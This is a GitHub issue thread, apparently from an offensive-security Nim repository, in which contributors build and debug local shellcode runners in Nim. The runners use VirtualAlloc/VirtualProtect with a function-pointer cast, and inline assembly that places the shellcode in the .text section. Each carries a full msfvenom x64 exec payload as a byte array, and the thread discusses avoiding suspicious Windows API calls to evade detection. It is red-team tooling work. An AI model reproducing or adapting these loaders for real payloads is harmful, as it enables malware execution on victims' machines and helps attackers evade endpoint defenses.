Open chvancooten opened 3 years ago
I managed to (kind of) port both functions to Nim as below. The calc payload (from msfvenom
) succesfully executes, but the program terminates with error Error: execution of an external program failed: program.exe
, which halts its execution :/
Edit: The various msfvenom
exitfunc options seem to all give the same result. However, when using calc.exe
transformed into shellcode using donut
, the error is NOT returned. Still though, execution of the thread does not continue after the payload returns, which may be related to the shellcode being executed in the same context as the main program...
import winim/lean
proc runShellcodeVirtualAlloc[I, T](payload: var array[I, T]): void =
var allocated = VirtualAlloc(nil, len(payload), MEM_COMMIT, PAGE_EXECUTE_READWRITE)
doAssert not allocated.isNil(), "Error executing VirtualAlloc()"
copyMem(allocated, payload[0].addr, len(payload))
let f = cast[proc(){.nimcall.}](allocated)
f()
proc runShellcodeVirtualProtect[I, T](payload: var array[I, T]): void =
var oldProtect : DWORD
var ret = VirtualProtect(payload.addr, len(payload), PAGE_EXECUTE_READWRITE, oldProtect.addr)
doAssert ret != 0, "Error executing VirtualProtect()"
let f = cast[proc(){.nimcall.}](payload.addr)
f()
when defined(windows):
# msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -f csharp
var payload : array[276, byte] = [
byte 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
0x87,0xff,0xd5,0xbb,0xaa,0xc5,0xe2,0x5d,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,
0x63,0x2e,0x65,0x78,0x65,0x00 ]
when isMainModule:
runShellcodeVirtualProtect(payload)
#runShellcodeVirtualAlloc(payload)
echo "This is never printed because of the error"
(Based on the following code which does something similar: https://github.com/mratsim/photon-jit/blob/ef1954406d6f23677f702151397fcd6d3889aad3/photon_jit/photon_types.nim#L47)
Interesting, yeah i've reproduced this and don't know exactly whats going on here. I'm probably going to have to break out windbg to figure out why it's crashing after executing the shellcode. Will investigate further when i get some time.
Sounds great! Regarding moving shellcode to the .text
segment of the binary to avoid making Windows API calls for executable memory, someone in the Nim discord said that should be possible by using codegendecl
pragma to tell the compiler to move const
s to the .text
section. Haven't looked into this yet, could be a nice "nimified" way to avoid suspicious Windows API calls though.
https://nim-lang.org/docs/manual.html#implementation-specific-pragmas-codegendecl-pragma
Haven't figured out why it's crashing yet. However, I did get shellcode execution via inline assembly working. This is a "workaround" for manually allocating the shellcode to the .text
section. inline assembly gets allocated to the .text
section automatically (see here).
proc runsc(): void =
# msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -f csharp
asm """
.byte 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xaa,0xc5,0xe2,0x5d,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00
ret
"""
runsc()
echo "OK wassup" # This never executes
Confirmed via CFF Explorer:
Anyone got a working solution to make this method dynamic instead of hardcoding the shellcode? I tried using this : https://nim-lang.org/docs/manual.html#statements-and-expressions-assembler-statement without success so far
Anyone got a working solution to make this method dynamic instead of hardcoding the shellcode? I tried using this : https://nim-lang.org/docs/manual.html#statements-and-expressions-assembler-statement without success so far
I've been trying for a long time, but I haven't found a solution.Have you solved the problem?
Anyone got a working solution to make this method dynamic instead of hardcoding the shellcode? I tried using this : https://nim-lang.org/docs/manual.html#statements-and-expressions-assembler-statement without success so far
I've been trying for a long time, but I haven't found a solution.Have you solved the problem?
I have a working solution to inject dynamic shellcode but haven't found a solution to do it using inline assembly. In my solution, the shellcode isn't stored in the .text section. Let me know if you are still interested :)
Anyone got a working solution to make this method dynamic instead of hardcoding the shellcode? I tried using this : https://nim-lang.org/docs/manual.html#statements-and-expressions-assembler-statement without success so far
I've been trying for a long time, but I haven't found a solution.Have you solved the problem?
I have a working solution to inject dynamic shellcode but haven't found a solution to do it using inline assembly. In my solution, the shellcode isn't stored in the .text section. Let me know if you are still interested :)
Yes, can you show me your solution? thank you!!!
I just provided a POC via a pull request to this repo: https://github.com/byt3bl33d3r/OffensiveNim/pull/29
Don't hesitate if you have any question!
I have been trying to port the "standard" way for shellcode execution in the local process to Nim (i.e., without remote process creation and/or injection). IMO this is a key tool for the offensive toolset, and example code in the OffensiveNim repository would be greatly useful and appreciated! :)
This would mean porting (either or both of) the following C code snippets for shellcode execution to Nim.
Using
VirtualProtect()
to make the shellcode executable and executing it:Using
VirtualAlloc()
to create executable memory space, moving the shellcode to this location, and executing it from there:Alternatively, if Nim can be used to write directly to the
.text
section of the memory, the shellcode could be placed and executed from there. As such, calls to Windows APIs can be avoided altogether (see here). I was however unable to find means to write to this section directly using Nim.I had some stabs at this, but I keep running into walls because I'm not too familiar with low-level programming. The Windows API calls seem to succeed, but I can't properly assign and execute a function pointer in Nim. If anyone got this to work some code snippets would be greatly appreciated :)